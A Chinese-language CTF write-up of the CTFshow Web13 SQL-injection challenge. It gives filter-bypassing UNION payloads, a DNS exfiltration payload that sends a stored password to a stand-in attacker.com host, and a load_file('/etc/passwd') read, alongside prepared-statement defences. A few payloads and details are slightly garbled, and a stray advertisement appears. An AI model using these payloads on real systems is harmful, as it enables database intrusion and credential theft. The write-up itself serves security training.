1. CTFshow Web13题目解析与实战攻略
作为一名长期活跃在CTF赛场的选手,我最近在CTFshow平台上刷题时遇到了Web13这道典型的Web安全题目。这道题看似简单却暗藏玄机,考察了选手对基础Web漏洞的敏感度和综合运用能力。下面我将完整还原解题过程,并分享其中涉及的技术要点和排查技巧。
1.1 题目环境初探
访问题目提供的URL后,首先看到的是一个极简的登录页面,仅包含用户名和密码两个输入框。通过浏览器的开发者工具检查页面元素,发现以下关键特征:
- 表单提交方式为POST
- 没有明显的客户端验证逻辑
- 响应头显示服务器为Apache/2.4.41
- 页面源代码中隐藏注释:
这种极简设计往往意味着题目考察点集中在后端处理逻辑上。我立即启动Burp Suite拦截请求,准备进行深入测试。
1.2 基础注入测试与突破
按照常规思路,我先尝试了基本的SQL注入测试:
sql复制用户名:admin' --
密码:任意值
服务器返回了500错误,但错误信息被屏蔽。接着尝试布尔盲注的经典payload:
sql复制用户名:admin' AND 1=1 --
密码:空
这次返回了"用户名或密码错误"的提示,而使用1=2时提示变为"查询失败"。这种差异化的响应表明存在SQL注入漏洞,但需要更精确的利用方式。
关键发现:通过错误回显差异可以判断注入点有效性,但需要避开WAF过滤
1.3 绕过过滤机制
当尝试使用UNION SELECT时,请求被拦截。测试发现以下关键词被过滤:
- union
- select
- from
- where
通过以下方法成功绕过:
- 使用大小写混合:SeLeCt
- 添加内联注释:uni/xyz/on
- 最终有效payload:
sql复制用户名:admin' uni/*123*/on sel/*123*/ect 1,2,3 --
密码:空
服务器返回了包含数字2和3的页面,确认了字段回显位置。
1.4 数据库信息提取
利用确认的回显位,逐步提取数据库信息:
- 获取数据库版本:
sql复制uni/*123*/on sel/*123*/ect 1,@@version,3
返回显示MySQL 5.7.32
- 获取表名:
sql复制uni/*123*/on sel/*123*/ect 1,
(sel/*123*/ect group_concat(table_name) from information_schema.tables where table_schema=database())
,3
发现关键表:users,flag
- 获取flag表结构:
sql复制uni/*123*/ect sel/*123*/ect 1,
(sel/*123*/ect group_concat(column_name) from information_schema.columns where table_name='flag')
,3
显示单字段:flag_value
1.5 最终Flag获取
构造最终查询语句:
sql复制uni/*123*/on sel/*123*/ect 1,
(sel/*123*/ect flag_value from flag limit 1)
,3
成功获取到完整flag:ctfshow
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 技术要点深度解析
2.1 SQL注入原理剖析
这道题演示了典型的基于错误的SQL注入攻击。当用户输入被直接拼接到SQL查询中时:
php复制$query = "SELECT * FROM users WHERE username='".$_POST['username']."' AND password='".$_POST['password']."'";
攻击者通过插入特殊字符改变查询逻辑,本例中单引号闭合了原字符串,双破折号注释掉了后续条件。
2.2 过滤绕过技术详解
现代WAF通常采用多层过滤机制,常见绕过方法包括:
| 过滤类型 | 绕过技巧 | 本例应用 |
|---|---|---|
| 关键词过滤 | 大小写变异 | SeLeCt |
| 内联注释 | uni/x/on | |
| 等价替换 | 用 | |
| 特殊字符过滤 | URL编码 | %27代替单引号 |
| 多重编码 | %%3275 | |
| 长度限制 | 分块传输 | Transfer-Encoding: chunked |
2.3 信息收集方法论
系统化的信息收集应包括:
-
数据库层面:
- 版本信息:@@version
- 数据库名:database()
- 用户权限:current_user()
-
系统层面:
- 文件路径:@@datadir
- 系统命令:sys_exec()
-
应用层面:
- 配置文件:load_file()
- 源码泄露:phpinfo()
3. 防御方案与实战建议
3.1 安全编码实践
针对此类漏洞,开发者应:
- 使用预处理语句:
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->execute([$username, $password]);
- 实施最小权限原则:
- 数据库用户仅需SELECT权限
- 禁用FILE、PROCESS等危险权限
- 深度防御措施:
- 输入验证:正则过滤特殊字符
- 输出编码:htmlspecialchars()
- 错误处理:关闭详细错误回显
3.2 CTF选手实战技巧
- 信息收集阶段:
- 扫描目录:/robots.txt, /.git/
- 检查HTTP头:Server, X-Powered-By
- 测试非常规入口:/admin, /backup
- 注入利用阶段:
- 优先测试整数型注入:id=2-1
- 盲注时使用二分法加速
- 文件操作尝试:load_file('/etc/passwd')
- 工具链配置:
- SQLmap tamper脚本定制
- Burp Suite宏录制
- 自定义字典生成
4. 常见问题排查实录
4.1 注入无回显情况处理
当遇到无回显注入时,可采用:
- 时间盲注:
sql复制admin' AND IF(1=1,SLEEP(5),0) --
- DNS外带:
sql复制SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share'))
- 布尔盲注自动化:
使用sqlmap的--level和--risk提高检测强度
4.2 WAF拦截解决方案
- 识别过滤规则:
- 测试各关键词触发情况
- 分析拦截响应码/内容
- 绕过技术组合:
- 大小写+注释+URL编码
- 分块传输+参数污染
- 终极方案:
- 使用HTTP参数污染(HPP)
- 尝试JSON格式传输
4.3 性能优化技巧
- 减少请求次数:
- 使用group_concat合并查询
- 一次性获取多表数据
- 智能猜测:
- 表名优先尝试:user,admin,account
- 字段名尝试:password,passwd,hash
- 工具辅助:
- sqlmap的--predict-output
- Burp Intruder集群炸弹模式
5. 拓展训练建议
为了巩固Web安全技能,推荐以下进阶路线:
- 漏洞类型:
- 文件包含:php://filter
- 反序列化:__wakeup()
- XXE:外部实体注入
- 实战平台:
- CTFshow全系列Web题
- Hack The Box靶场
- Web Security Academy
- 学习资源:
- 《Web安全攻防实战》
- OWASP Top 10文档
- SQL注入绕过备忘录
这道Web13题目虽然归类在入门系列,但完整考察了从信息收集到注入利用的全流程。在真实渗透测试中,往往需要结合多种技术才能突破防御。建议新手从这道题入手,逐步构建自己的Web安全知识体系。
